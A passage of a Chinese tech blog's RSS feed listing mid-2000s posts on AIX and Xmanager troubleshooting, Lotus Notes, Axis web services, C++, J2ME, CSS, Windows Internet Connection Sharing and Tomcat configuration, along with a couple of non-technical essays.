      <description>7月初，安装AIX发现一个很奇怪的问题，不管是用何种FTP方式连AIX SERVER，都会将所有文件、文件夹前面加上时间，如上图，而实际这些文件、文件夹的名称是不带时间的。于是到CHINAUNIX上发帖求助（地址）。同时自己也继续安装并研究原因。结果发现如果AIX5L在安装开始就选择简体中文EUC而不是默认的en-US，那么中文就会替代英文替代的非常彻底，连登录窗口都是中文的了，也不会出现上面的图示情况；而如果是按照IBM的一篇帮助文档（地址），进行安装完再改语言环境的步骤，中文就不会替代的那么彻底，而且上图FTP文件名显示问题也会发生。我按照安装完再改语言环境的步骤在两台机器上装了两次AIX，都是出现了那个问题。&#xA;后来有网友告诉我把/etc/evironment里的LANG改成en_US,重启机器就OK。我按此法修改完文件重启机器，确实能解决FTP文件名显示错误的问题，和安装AIX开始就选择简体中文EUC所不同的仅仅是登录界面不是中文，而是英文的。</description>
    </item>
    <item>
      <title>用Xmanager等终端软件无法连接AIX的解决方案</title>
      <link>https://bchobby.github.io/posts/940439c57ebc8fd86414efaeef4ceb6c/</link>
      <pubDate>Mon, 03 Jul 2006 20:37:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/940439c57ebc8fd86414efaeef4ceb6c/</guid>
      <description> 显示错误：&#xA;XDMCP Connection failed.Try again?&#xA;解决方法：&#xA;AIX上无须进行任何配置，但是必须有XDMCP协议。服务程序在监听XDMCP端口。CDE的XDMCP服务器为 dtlogin，X Window本身的XDMCP服务器为xdm，当然GNU也有一些其它的服务器。如果AIX上安了CDE，则只要启动CDE即可。如果没有安装CDE，需要启动xdm。 以下命令可以确认XDMCP服务器已经启动： netstat -an|grep 177 检查输出，确认状态为LISTEN。如果一切正常，就可以使用Xmanager通过登录了。 安装完Xmanager后，在Xbrowser中New一个XDMCP，选择XDM query，在Host输入框输入主机名或IP 地址，选Apply，然后Done，启动Xmanager就会显示图形登录介面了。 </description>
    </item>
    <item>
      <title>软件测试工程师面试问题</title>
      <link>https://bchobby.github.io/posts/c77c29254d81a3680f58c7b09d7f1584/</link>
      <pubDate>Mon, 12 Jun 2006 17:04:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c77c29254d81a3680f58c7b09d7f1584/</guid>
      <description>或许你正需要面试软件测试工程师，或许你准备去应聘软件测试工程师，以下是一些可能注意的问题。（选译）&#xA;有什么原因让你参与到测试和质量管理中来？&#xA;什么是测试生命周期，解释一下它的各个阶段？ 测试和质量保证有什么不同？ 什么是Negative测试？ 在之前做测试的过程总遇到过哪些问题？你是如何解决的？ 你是如何给你的测试和质量保证团队力量的？ 你是如何定义质量管理的？ 你最喜欢测试和质量管理什么地方？ 你最不喜欢什么地方？ 什么是瀑布式开发方法，你是否认同所有的步骤？ 什么是V-模式开发方法，你是否认同这个模型？ 什么是CMM？你工作过的公司的级别是怎么样的？ 什么才算好的测试人员？ 更多问题，可以查看以下内容：&#xA;Could you tell me two things you did in your previous assignment (QA/Testing related hopefully) that you are proud of? List 5 words that best describe your strengths. What are two of your weaknesses? What methodologies have you used to develop test cases? In an application currently in production, one module of code is being modified.</description>
    </item>
    <item>
      <title>[B/S]使用vb插入记录到lotus notes数据库中</title>
      <link>https://bchobby.github.io/posts/56869b0791f9893f2b81ae65d55e2c83/</link>
      <pubDate>Wed, 31 May 2006 11:01:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/56869b0791f9893f2b81ae65d55e2c83/</guid>
      <description>解决思路：VB中传入参数，并调用Notes数据库中的代理来实现。&#xA;1 VB中运行代理&#xA;例如：要创建一份文档表单名称Student，四个域Name、Sex、Age、Memo，&#xA;域值分别zhangsan、M、26、hello，则&#xA;strUrl=&#34;http://127.0.0.1/domcfg.nsf/WriteRecord?OpenAgent&#34;&#xA;strPara=&#34;&amp;amp;DB=oa/system.nsf&#34;&#xA;strPost=&#34;&amp;amp;Field=Form,Name,Sex,Age,Memo&amp;amp;Value=Student,zhangsan,M,26,hello&#34;&#xA;strRet=DoPost(strUrl,strPara,strPost)&#xA;Msgbox &#34;运行结果：&#34; &amp;amp; strRet&#xA;Function DoPost(strUrl As String, Optional strPara As String, Optional strPost As String) As String&#xA;Dim xmlHttp As Object&#xA;Set xmlHttp = CreateObject(&#34;Microsoft.XMLHTTP&#34;)&#xA;Call xmlHttp.Open(&#34;POST&#34;, strUrl + strPara, False)&#xA;Call xmlHttp.Send(strPost)&#xA;DoPost = xmlHttp.responseXML.documentElement.Text&#xA;End Function&#xA;2 创建文档WriteRecord代理：&#xA;Sub Initialize&#xA;On Error Goto Alert&#xA;Dim ss As New NotesSession&#xA;Dim db As NotesDatabase&#xA;Dim doc As NotesDocument</description>
    </item>
    <item>
      <title>用Axis开发Web Service</title>
      <link>https://bchobby.github.io/posts/50d6e99b368ceb879e3a2e7d1e1fde5f/</link>
      <pubDate>Thu, 06 Apr 2006 16:42:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/50d6e99b368ceb879e3a2e7d1e1fde5f/</guid>
      <description>这次开发过程中要给其他的系统提供数据，因为以前在开发接口的过程中有两个接口使用到了Web Service，但主要是我们调用别的系统提供的接口，而没有我们写Web Service给别的系统调用。不过也好，在上次开发的经验中知道了一点关于如何调用Web Service的一些经验。&#xA;Web Service是什么？ 在没有接触到Web Service的时候，曾经觉得Web Service是那么的高不可攀，觉得能写出Web Service是非常难的。因为每次见到Web Service的时候，总会想到远程调用，然后还会想到SOAP。上次开发调用其他系统的Web Service接口的时候，还专门借了一本SOAP的书，但是没有看几页就把书就还回去了（实在太复杂，没有继续往下看）。在网上看到可以使用Axis简化Web Service的开发，也从网上找到了一些调用Web Service的例子。&#xA;那么到底Web Service是什么呢？我不能很明确的说出来，这里就我这几天写的几个可以调用的Web Service来说一下自己感受，用Axis来开发Web Service的时候，没有必要把Web Service放在心上，因为在开发的过程中根本没有必要考虑这些Web Service，而且在实现类中也没有与Axis相关的内容。也就是说Web Service就是把一个普通的类，通过一个配置文件，发布在Axis框架上，就可以在外面用Axis提供的接口来获取返回结果。当然Axis能处理的数据类型也许有一些限制，Axis对于用户自定义类型也是可以支持的，只是需要单独的配置而已，对于自定义类型，我也没有实现过，Axis的user guider上有一些说明。&#xA;下面就说说开发Web Service的准备工作和开发的代码片断以及如何测试，并且说了一点自己在开发这个Web Service时的一些收获。&#xA;注意：因为发布Web服务是发布到某一个web应用中，为了方便下面的例子中都是针对http://localhost/bjah的。 开发Web Service前的预备工作 1. 配置web.xml文件 配置Web应用使用Axis，需要在web.xml中进行相应的配置，配置信息如下：&#xA;&amp;lt;listener&amp;gt;&#xD;&amp;lt;listener-class&amp;gt;org.apache.axis.transport.http.AxisHTTPSessionListener&amp;lt;/listener-class&amp;gt;&#xD;&amp;lt;/listener&amp;gt;&#xD;&amp;lt;servlet&amp;gt;&#xD;&amp;lt;servlet-name&amp;gt;AxisServlet&amp;lt;/servlet-name&amp;gt;&#xD;&amp;lt;display-name&amp;gt;Apache-Axis Servlet&amp;lt;/display-name&amp;gt;&#xD;&amp;lt;servlet-class&amp;gt;&#xD;org.apache.axis.transport.http.AxisServlet&#xD;&amp;lt;/servlet-class&amp;gt;&#xD;&amp;lt;/servlet&amp;gt;&#xD;&amp;lt;servlet&amp;gt;&#xD;&amp;lt;servlet-name&amp;gt;AdminServlet&amp;lt;/servlet-name&amp;gt;&#xD;&amp;lt;display-name&amp;gt;Axis Admin Servlet&amp;lt;/display-name&amp;gt;&#xD;&amp;lt;servlet-class&amp;gt;&#xD;org.apache.axis.transport.http.AdminServlet&#xD;&amp;lt;/servlet-class&amp;gt;&#xD;&amp;lt;load-on-startup&amp;gt;100&amp;lt;/load-on-startup&amp;gt;&#xD;&amp;lt;/servlet&amp;gt;&#xD;&amp;lt;servlet&amp;gt;&#xD;&amp;lt;servlet-name&amp;gt;SOAPMonitorService&amp;lt;/servlet-name&amp;gt;&#xD;&amp;lt;display-name&amp;gt;SOAPMonitorService&amp;lt;/display-name&amp;gt;&#xD;&amp;lt;servlet-class&amp;gt;&#xD;org.apache.axis.monitor.SOAPMonitorService&#xD;&amp;lt;/servlet-class&amp;gt;&#xD;&amp;lt;init-param&amp;gt;&#xD;&amp;lt;param-name&amp;gt;SOAPMonitorPort&amp;lt;/param-name&amp;gt;&#xD;&amp;lt;param-value&amp;gt;5001&amp;lt;/param-value&amp;gt;&#xD;&amp;lt;/init-param&amp;gt;&#xD;&amp;lt;load-on-startup&amp;gt;100&amp;lt;/load-on-startup&amp;gt;&#xD;&amp;lt;/servlet&amp;gt;&#xA;在web.xml文件中添加了上面的配置信息以后，web应用就可以支持Web Service了。&#xA;2. 在WEB-INF/lib中添加axis需要的包 这jar文件包括：</description>
    </item>
    <item>
      <title>中国推出实现Java EE5.0全球最新规范的金蝶Apusic中间件</title>
      <link>https://bchobby.github.io/posts/92fe17569d87d54138c4fa17f535fe10/</link>
      <pubDate>Thu, 06 Apr 2006 14:29:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/92fe17569d87d54138c4fa17f535fe10/</guid>
      <description>Summary： The Vice President of Sun Microsystems Steve Borcich, got a surprising news that Kingdee flagship middleware Apusic J2EE application server had just achieved compatibility with the specification of Java EE 5.0 when talking with general manager Mr. John. Cai from Kingdee Middleware which is the only one middleware manufacturer in the five important Chinese partners designated by Sun over the phone on April 5. On March 22, Kingdee Middleware, a leading infrastructure software manufacturer in China, announced that the flagship product Apusic application server had achieved compatibility with the specification of Java EE 5.</description>
    </item>
    <item>
      <title>C&#43;&#43;是定义全局变量和函数常用方法.</title>
      <link>https://bchobby.github.io/posts/9dfe6d5b936e07746ed1b223acea4dde/</link>
      <pubDate>Fri, 24 Mar 2006 11:54:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9dfe6d5b936e07746ed1b223acea4dde/</guid>
      <description>1：在头文件是声明变量，然后在使用的文件中用exten标识。&#xA;&#34;.h&#34;：&#xA;int ntemp;&#xA;&#34;.cpp&#34;：&#xA;exten int ntemp;&#xA;2：定义一个全局变量类，使用时包含头文件即可：&#xA;&#34;GlobalVar.h&#34;&#xA;Class CGlobalVar&#xA;{&#xA;CGlobalVr();&#xA;~CGlobal();&#xA;static int ntemp; //用static };&#xA;&#34;GlobalVar.cpp&#34;&#xA;int CGlobalVar::ntemp = 0;//定义并初始化&#xA;CGlobalVar::CGlobalVar()&#xA;{&#xA;}&#xA;CGlobalVar::~CGlobalVar()&#xA;{&#xA;}&#xA;3：全局函数可以用上面2的做法外还可以：&#xA;在&#34;.h&#34;里声明&#xA;int GetDataTime(CString strDataTime, CString strSep);&#xA;在&#34;.cpp&#34;里实现&#xA;int GetDataTime(CString strDataTime, CString strSep)&#xA;{&#xA;....&#xA;}&#xA;使用时只是将&#34;.h&#34;文件包含进去即可。</description>
    </item>
    <item>
      <title>用NetBeans开发J2ME游戏实例讲解（一）</title>
      <link>https://bchobby.github.io/posts/61426bb3085b5c27479d87f4c2cc81aa/</link>
      <pubDate>Wed, 30 Nov 2005 10:29:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/61426bb3085b5c27479d87f4c2cc81aa/</guid>
      <description>作者：林刚 文章来源：http://blogs.sun.com/lirincy 最近在网上看到一篇关于华容道的J2ME的开发实例，花了一天时间，在NetBeans上实现了，并且进行了改进和增强，现将经验共享出来，部分代码属原作者所有，在附录中。&#xA;1. 必须先安装 NetBeans IDE 4.0 和 NetBeans Mobility Pack 4.0，然后才能开始进行 J2ME MIDP 开发。有关下载和安装完整环境的说明，请参见 J2ME MIDP 开发下载页面http://www.netbeans.org/kb/articles/mobility_zh_CN.html。 2. 创建 MIDP 应用程序 创建新的 J2ME MIDP 项目 2. 创建新的移动应用程序：&#xA;(1).选择“文件”&amp;gt;“新建项目”(Ctrl-Shift-N)。在“类别”下选择“移动”。在“项目”下选择“移动应用程序”，然后单击“ 下一步”。 (2). 在“项目名称”下输入 HuaRongDao。将项目主目录更改为您系统上的任何目录。从现在起，我们将该目录称为 $PROJECTHOME。 (3). 不要选中“创建 HelloMIDlet”复选框。单击“下一步”。 选CLDC1.0 MIDP1.0, (4). 将 J2ME Wireless Toolkit 作为选定的目标平台。 (5). 单击“完成”。IDE 将创建 $PROJECTHOME./HuaRongDao 项目文件夹。该项目文件夹包含所有的源和项目元数据，如项目 Ant 脚本。此时将在“项目”窗口中打开 HuaRongDao 项目。 (6). 现在，我们来添加一个MIDlet，　右键单击项目，选新建MIDlet,名字为HuaRongDao,不要写package.点确定生成，　然后在生成后的 代码里加入CommandListener支持，代码框架如下：&#xA;/* * HuaRongDaoMidlet.java * * Created on 2005年7月1日, 下午8:18 */</description>
    </item>
    <item>
      <title>%u8BB0%u4F4F%uFF1A%u4F60%u7684%u51E0%u5206%u949F%uFF0C%u4F1A%u8BA9%u7956%u56FD%u66F4%u5F3A%u5927%uFF</title>
      <link>https://bchobby.github.io/posts/0abbeac6be729bbc401797163ea00dde/</link>
      <pubDate>Mon, 17 Oct 2005 15:35:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0abbeac6be729bbc401797163ea00dde/</guid>
      <description>%u53BB%u9EA6%u5F53%u52B3%u3001%u80AF%u5FB7%u57FA%u5403%u996D%u4E00%u5B9A%u8981%u8BB0%u5F97%u8981%u53D1%u7968%u3002&#xA;%u9EA6%u5F53%u52B3%u3001%u80AF%u5FB7%u57FA%u6BCF%u5E74%u5728%u4E2D%u56FD%u56E0%u4E3A%u6211%u4EEC%u90FD%u4E0D%u4E60%u60EF%u8981%u53D1%u7968%u7684%u539F%u56E0%u800C%u63A0%u8D70%u5C06%u8FD120%u4EBF%u5143%u7684%u7A0E%u6536%u3002%u3000%u3000 %u4E00%u4E2A%u6708%u524D%u6211%u5728%u9EA6%u5F53%u52B3%u7684%u7ECF%u5386%u3002%u5E97%u91CC%u4EBA%u4E0D%u5C11%uFF0C%u6211%u4ED8%u4E86%u6B3E%u7D22%u8981%u53D1%u7968%uFF0C%u503C%u73ED%u7ECF%u7406%u62FF%u51FA%u4E00%u4E2A%u672C%u5B50%u8981%u6211%u7B7E%u540D%uFF0C%u8BF4%u662F%u7531%u4E8E%u73B0%u5728%u4F7F%u7528%u522E%u5956%u53D1%u7968%uFF0C%u6240%u4EE5%u5E97%u91CC%u89C4%u5B9A%u8981%u53D1%u7968%u7684%u5BA2%u4EBA%u5FC5%u987B%u7B7E%u540D%uFF0C%u9632%u6B62%u5E97%u5458%u81EA%u5DF1%u5077%u53D1%u7968%u522E%u5956%u3002%u6211%u62D2%u7EDD%uFF0C%u6CA1%u6709%u4EC0%u4E48%u89C4%u5B9A%u8BF4%u8981%u53D1%u7968%u8FD8%u8981%u7B7E%u540D%u3002 %u5C40%u9762%u6709%u70B9%u50F5%u6301%u3002%u6392%u5728%u6211%u8EAB%u540E%u7684%u4EBA%u5F00%u59CB%u50AC%u4FC3%uFF0C%u4E00%u4E2A%u773C%u955C%u561F%u56D4%uFF1A%u60F3%u4E2D%u5956%u4E5F%u522B%u6D6A%u8D39%u6211%u4EEC%u65F6%u95F4%u554A...%u6211%u65E0%u5948%uFF0C%u62FF%u8D77%u7B14%uFF0C%u5E84%u4E25%u7684%u7B7E%u4E0B%u4E09%u4E2A%u5B57%uFF1A%u672C%u62C9%u767B%uFF01 %uFF08@_@ %uFF09 %u3000%u3000%u4ECE%u4E0D%u77E5%u6240%u63AA%u7684%u7ECF%u7406%u624B%u4E2D%u62FF%u8FC7%u53D1%u7968%uFF0C%u6495%u788E%u6254%u8FDB%u9910%u76D8%uFF0C%u6211%u8BF4%uFF1A%u6211%u53EA%u662F%u4E0D%u60F3%u8BA9%u7F8E%u56FD%u4EBA%u5077%u4E2D%u56FD%u7684%u7A0E%u3002%u540E%u6765%u6211%u53D1%u73B0%u6392%u6211%u8EAB%u540E%u7684%u51E0%u4E4E%u90FD%u8981%u4E86%u53D1%u7968%uFF0C%u5305%u62EC%u90A3%u4E2A%u773C%u955C%u6211%u4EEC%u5927%u591A%u6570%u4EBA%u6CA1%u6709%u8981%u53D1%u7968%u7684%u4E60%u60EF%u3002%u4E5F%u8BB8%u5728%u9910%u5385%uFF0C%u5750%u7740%u53EB%u670D%u52A1%u5458%u9001%u53D1%u7968%u6765%u6211%u4EEC%u8FD8%u4E0D%u5ACC %u9EBB%u70E6%u3002%u4F46%u5728%u9EA6%u5F53%u52B3%u3001kfc%u3001%u6C83%u5C14%u9A6C%u3001%u5BB6%u4E50%u798F%u7B49%u7B49%uFF0C%u6211%u4EEC%u5C31%u4E0D%u613F%u53BB%u8D39%u529F%u592B%u8981%u7968%u4E86%u3002 %u5728%u5F53%u4ECA%u5168%u7403%u5316%u7684%u5E02%u573A%u4E2D%uFF0C%u6211%u4EEC%u65E0%u6CD5%u62B5%u5236%u67D0%u4E9B%u4E1C%u897F%u3002%u4F46%u5982%u679C%u6211%u4EEC%u7231%u56FD%uFF0C%u5374%u53EF%u4EE5%u4ECE%u8EAB %u8FB9%u7684%u5C0F%u4E8B%u505A%u8D77%uFF0C%u82B1%u8D39%u60A8%u51E0%u5206%u949F%u800C%u5DF2%u3002 %u663E%u793A%u9996%u9875&#xA;转载于:https://blog.51cto.com/10092/201</description>
    </item>
    <item>
      <title>用CSS处理链接中的下划线</title>
      <link>https://bchobby.github.io/posts/65a1ebea7dfd06593a9f4139cf00fea7/</link>
      <pubDate>Sun, 27 Feb 2005 20:58:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/65a1ebea7dfd06593a9f4139cf00fea7/</guid>
      <description>没有下划线链接&#xA;这一种链接是用到了CCS技术，即使你不明白CCS，你只要把下面代码加入到网页源代码&amp;lt;head&amp;gt;&amp;lt;/head&amp;gt;中就可以实现没有下划线的链接。 &amp;lt;style type=&#34;text/css&#34;&amp;gt; a {text-decoration: none} &amp;lt;/style&amp;gt; 去掉链接下划线技巧 &amp;lt;head&amp;gt;与&amp;lt;/head&amp;gt;之间，下划线就无影无踪啦！ 注意，网页的&amp;lt;body&amp;gt;标签里不能再有link之类的属性，否则本效果会失效！ &amp;lt;style TYPE=&#34;text/css&#34;&amp;gt; &amp;lt;!-- A:link{text-decoration:none} A:visited{text-decoration:none} A:hover {color: #ff00ff;text-decoration:underline} --&amp;gt; &amp;lt;/style&amp;gt; 自定多姿多彩的网页链接下划线CSS本身没有直接提供变换HTML链接下划线的功能，但只要运用一些技巧，我们还是可以让单调的网页链接下划线变得丰富多彩。 一、基本原理 首先，自定义HTML链接下划线的第一步是创建一个图形，在水平方向重复放置这个图形即形成下划线效果。如果要显示出下划线背后的网页背景，可以使用透明的.gif图形。&#xA;其次，如果下划线图形的高度较大，则必须适当增加文本的高度，使得一行文本的底部与下一行文本的顶部之间有较大的空间，例如p { line-height: 1.5; }。&#xA;自定义链接下划线示例 第三，为显示出自定义的下划线，必须隐藏默认的下划线，即a { text-decoration: none; }。&#xA;第四，为链接元素设置下划线图形，构造出自定义的下划线。假设下划线图形是underline.gif，则设置下划线图形的CSS代码为a { background-image: url(underline.gif); }。&#xA;第五，我们要让下划线图形在水平方向反复出现，但不能在垂直方向重复出现，否则它将被隐藏到文本的背后。要求下划线只在水平方向重复出现的代码为：a { background-repeat: repeat-x; }。&#xA;第六，为保证图形出现在链接文字的下方（不管字体的大小），用background-position属性将图形放在链接元素的底部。对于箭头之类的下划线图形，可能还要考虑图形在水平方向的对齐方向。假设要将下划线图形放在右下角，CSS代码为：a { background-position: 100% 100%; }。&#xA;第七，为了在链接文本的下方给自定义图形留出空间，必须加入适当的空白。下划线图形相对于链接文字的具体位置与文字的大小有关，但一般而言，可以先让底部空白等于下划线图形的高度，必要时再作调整。例如：a { padding-bottom: 4px; }。&#xA;第八，由于下划线图形放在链接元素的底部，必须保证链接不折行（如允许链接跨越多个行，则只有下面一行的链接文本下面会有自定义的下划线）。用CSS的white-space属性可以防止链接文字折行，即a { white-space: nowrap; }。&#xA;综上所述，为链接元素定义CSS样式属性的完整例子如：&#xA;a {&#xA;text-decoration: none; background: url(underline.gif) repeat-x 100% 100%;</description>
    </item>
    <item>
      <title>把梳子卖给和尚（一个经典的营销故事）</title>
      <link>https://bchobby.github.io/posts/560e3e29271b17d36d099425b84b7752/</link>
      <pubDate>Sun, 06 Feb 2005 08:43:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/560e3e29271b17d36d099425b84b7752/</guid>
      <description> 某公司创业之初，为了选拔真正有效能的人才，要求每位应聘者必须经过一道测试：以比赛的方式推销100把奇妙聪明梳，并且把它们卖给一个特别指定的人群：和尚。 几乎所有的人都表示怀疑：把梳子卖给和尚？这怎么可能呢？搞错没有？许多人都打了退堂鼓，但还是有甲、乙、丙三个人勇敢地接受了挑战......一个星期的期限到了，三人回公司汇报各自销售实践成果，甲先生仅仅只卖出一把，乙先生卖出10把，丙先生居然卖出了1000把。同样的条件，为什么结果会有这么大的差异呢？公司请他们谈谈各自的销售经过。 甲先生说，他跑了三座寺院，受到了无数次和尚的臭骂和追打，但仍然不屈不挠，终于感动了一个小和尚，买了一把梳子。 乙先生去了一座名山古寺，由于山高风大，把前来进香的善男信女的头发都吹乱了。乙先生找到住持，说：“蓬头垢面对佛是不敬的，应在每座香案前放把木梳，供善男信女梳头。”住持认为有理。那庙共有10座香案，于是买下10把梳子。 丙先生来到一座颇富盛名、香火极旺的深山宝刹，对方丈说：“凡来进香者，多有一颗虔诚之心，宝刹应有回赠，保佑平安吉祥，鼓励多行善事。我有一批梳子，您的书法超群，可刻上‘积善梳’三字，然后作为赠品。”方丈听罢大喜，立刻买下1000把梳子。 公司认为，三个应考者代表着营销工作中三种类型的人员，各有特点。甲先生是一位执著型推销人员，有吃苦耐劳、锲而不舍、真诚感人的优点；乙先生具有善于观察事物和推理判断的能力，能够大胆设想、因势利导地实现销售；丙先生呢，他通过对目标人群的分析研究，大胆创意，有效策划，开发了一种新的市场需求。由于丙先生过人的智慧，公司决定聘请他为市场部主管。 更令人振奋的是，丙先生的“积善梳”一出，一传十，十传百，朝拜者更多，香火更旺。于是，方丈再次向丙先生订货。这样，丙先生不但一次卖出1000把梳子，而且获得长期订货。 </description>
    </item>
    <item>
      <title>Internet连接共享组网</title>
      <link>https://bchobby.github.io/posts/e654c8f7b90ccdd688bb97c5a9da1660/</link>
      <pubDate>Fri, 17 Dec 2004 14:36:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e654c8f7b90ccdd688bb97c5a9da1660/</guid>
      <description>ICS(Internet连接共享)是Windows 2000内置的一种网络连接共享服务，它可以使家庭网络或小型办公室网络用户非常容易的连接到Internet。&#xA;要使用ICS，有几点需要注意：&#xA;（1）启用ICS的计算机必须具有两个网络接口：一个连接到内部局域网，通常是网卡；一个连接到Internet，通常是Modem或ISDN接口。&#xA;（2）要配置ICS，必须具有Administrators组权限。&#xA;（3）ICS设置完成后，本地的网络将使用动态的地址分配机制，因此不应该将此功能与其他Windows 2000 Server DC、DNS服务器、网关、DHCP服务器，或配置为静态IP地址的系统一起使用。&#xA;（4）在启用ICS后，连接到家庭或小型办公室网络的适配器将获得新的IP地址配置。有两种情况，一种是系统建议的使用动态分配的方式，这时启用ICS的计算机就充当了一台DHCP服务器；另一种是手动设置的方式。 环境与要求&#xA;客户当前的网络环境如下：&#xA;计算机数量：5台，其中包括3台台式机（以下称C1、C2、C3），两台笔记本电脑（以下称N1、N2）；&#xA;当前操作系统：Windows98（第一版）；&#xA;局域网概况：通过一个10M的8口HUB组成一个星型对等网，彼此之间通过网络共享资料； 连接internet方式：只有C1和N1能够拨号上网，其中C1使用ISDN，N1使用Modem。 客户要求：&#xA;使用现有的设备使所有计算机都能够接入Internet；&#xA;现有的计算机上都安装了重要的程序或储存有重要的数据，因此除非万不得已不能重新安装操作系统。 连接方案：&#xA;因为C1安装有ISDN设备且配置比较高（PIII 850 CPU，128M内存），因此决定在C1上启动Internet共享功能，其它计算机通过C1接入Internet。&#xA;由于Windows98从第二版才开始支持ICS，而且不是很稳定，所以决定将C1升级为Windows2000 pro。&#xA;服务器设置&#xA;一、升级Windows98至Windows2000 pro；&#xA;启动Windows98，将Windows2000 pro插入光驱，Windows2000 pro安装程序自动启动，按系统提示进行操作，直至完成升级。 二、新建拨号连接&#xA;1、选择“开始”-&amp;gt;“设置”-&amp;gt;“网络和拨号连接”，单击“新建连接”，启动网络连接向导。&#xA;2、跳过欢迎屏幕，在第二页网络连接类型中选择“拨号到Internet”，下一步。&#xA;3、在跳出的Internet连接向导对话框第一页中，选择“手动设置Internet连接或通过局域网（LAN）连接”，下一步。&#xA;4、在第2步设置您的Internet连接页面，选择“通过电话线和调制解调器连接”，下一步。&#xA;5、在第3步Internet账户连接的信息第1步页面，不选择“使用区号和拨号规则”，在电话号码框内添加“163”，下一步。&#xA;6、在第3步Internet账户连接的信息第2步页面，填写上拨号上网所用的用户名和密码，下一步。&#xA;7、在第3步Internet账户连接的信息第3步页面配置您的计算机中，将连接名改为“共享163”，默认也可，下一步。&#xA;8、在第4步设置Internet mail账户页面选“否”，下一步完成连接向导。&#xA;9、测试刚建立的这个拨号连接，直至正常。 三、启动ICS&#xA;1、“开始”-&amp;gt;“设置”-&amp;gt;“网络和拨号连接”，右击刚才我们建立的拨号连接“共享163”，单击“属性”快捷菜单。&#xA;2、在“共享”选项卡上，选择“启用此连接的Internet连接共享”复选框。&#xA;3、在“共享”选项卡上，选中“启用请求拨号”复选框，这样，只要任何一个局域网用户需要上网访问资源而本服务器还没有建立Internet连接时，服务器都会自动进行拨号连接。&#xA;4、切换到“选项”选项卡，这时系统会提示“Internet连接共享被启用时，LAN适配器将被设置为使用IP地址192.168.0.1”。计算机可能会失去与网络上其它计算机的连接。如果这些计算机有静态IP地址，应该将它们设置成可以自动获取IP地址。确实需要启用Internet连接共享吗？”，选择“是”，ICS被启动。&#xA;5、在“选项”选项卡上，选择“断线重拨”对话框，将挂断前的空闲时间设置为“5分钟”，其它设置使用默认即可。&#xA;6、确定退出。&#xA;客户端设置&#xA;以N1为例，其它机器的设置与此类似，不再重复。&#xA;一、IP地址设置&#xA;（一）自动获得取IP地址&#xA;“控制面板”-&amp;gt;“网络”，打开“网络”对话框。将网卡的TCP/IP属性设置为自动获得IP地址，自动获得DNS服务器地址。确定退出。&#xA;（二）人工设置IP地址&#xA;将计算机的地址设置为“192.168.0.2”，子网掩码为“255.255.255.0”，网关为“192.168.0.1”，DNS服务器地址为“192.168.0.1”，确定退出。&#xA;（三）注意如果使用自动地址分配应该全部机器都使用自动地址分配，如果部分使用部分不用可能导致地址冲突。 二、IE设置&#xA;1、单击“工具”菜单上的“Internet选项”。&#xA;2、在“连接”选项卡上，单击“不进行拨号连接”，然后单击“局域网设置”。&#xA;3、在“自动配置”中，清除“自动检测设置”和“使用自动配置脚本”复选框。&#xA;4、在“代理服务器”中，清除“使用代理服务器”复选框。 三、其它软件设置（以网络蚂蚁为例）&#xA;因为N1上本来就有拨号连接，因此网络蚂蚁会仍然使用拨号连接下载文件，移除内置Modem使用局域网共享上网时会发生不能够下载文件的问题，有两个解决的办法：&#xA;1、删除N1上的拨号连接，网络蚂蚁会自动使用当前的连接；&#xA;2、如果希望以后还使用拨号连接，那可以在网络蚂蚁的设置中设置为不使用拨号连接。 四、测试&#xA;1、ping一下服务器。&#xA;2、测试一下浏览网页情况：打开IE，输入www.aboutnt.com”，如果C1没有Internet连接，可以发现C1会自动拨号上网。</description>
    </item>
    <item>
      <title>jsp中将HTML中的table转换成Excel输出</title>
      <link>https://bchobby.github.io/posts/deac03edc04e3cd436a73151eccaf26f/</link>
      <pubDate>Wed, 15 Sep 2004 17:28:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/deac03edc04e3cd436a73151eccaf26f/</guid>
      <description> Insert the following code in your jsp. Automatically the dynamic content will be converted to excel . &amp;lt;%@ page contentType = &#34;application/vnd.ms-excel&#34; %&amp;gt; &amp;lt;% response.setContentType(&#34;application/vnd.ms-excel&#34;); %&amp;gt; </description>
    </item>
    <item>
      <title>tomcat配置技巧</title>
      <link>https://bchobby.github.io/posts/8970ab221fb3cb30f11f5d88b975da11/</link>
      <pubDate>Mon, 23 Aug 2004 15:13:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8970ab221fb3cb30f11f5d88b975da11/</guid>
      <description>1． 配置系统管理（Admin Web Application） 大多数商业化的J2EE服务器都提供一个功能强大的管理界面，且大都采用易于理解的Web应用界面。Tomcat按照自己的方式，同样提供一个成熟的管理工具，并且丝毫不逊于那些商业化的竞争对手。Tomcat的Admin Web Application最初在4.1版本时出现，当时的功能包括管理context、data source、user和group等。当然也可以管理像初始化参数，user、group、role的多种数据库管理等。在后续的版本中，这些功能将得到很大的扩展，但现有的功能已经非常实用了。 Admin Web Application被定义在自动部署文件：CATALINA_BASE/webapps/admin.xml 。 （译者注：CATALINA_BASE即tomcat安装目录下的server目录） 你必须编辑这个文件，以确定Context中的docBase参数是绝对路径。也就是说，CATALINA_BASE/webapps/admin.xml 的路径是绝对路径。作为另外一种选择，你也可以删除这个自动部署文件，而在server.xml文件中建立一个Admin Web Application的context，效果是一样的。你不能管理Admin Web Application这个应用，换而言之，除了删除CATALINA_BASE/webapps/admin.xml ，你可能什么都做不了。 如果你使用UserDatabaseRealm（默认），你将需要添加一个user以及一个role到CATALINA_BASE/conf/tomcat-users.xml 文件中。你编辑这个文件，添加一个名叫“admin”的role 到该文件中，如下： &amp;lt;role name=&#34;admin&#34;/&amp;gt; 你同样需要有一个用户，并且这个用户的角色是“admin”。象存在的用户那样，添加一个用户（改变密码使其更加安全）： &amp;lt;user name=&#34;admin&#34; password=&#34;deep_dark_secret&#34; roles=&#34;admin&#34;/&amp;gt; 当你完成这些步骤后，请重新启动Tomcat，访问http://localhost:8080/admin，你将看到一个登录界面。Admin Web Application采用基于容器管理的安全机制，并采用了Jakarta 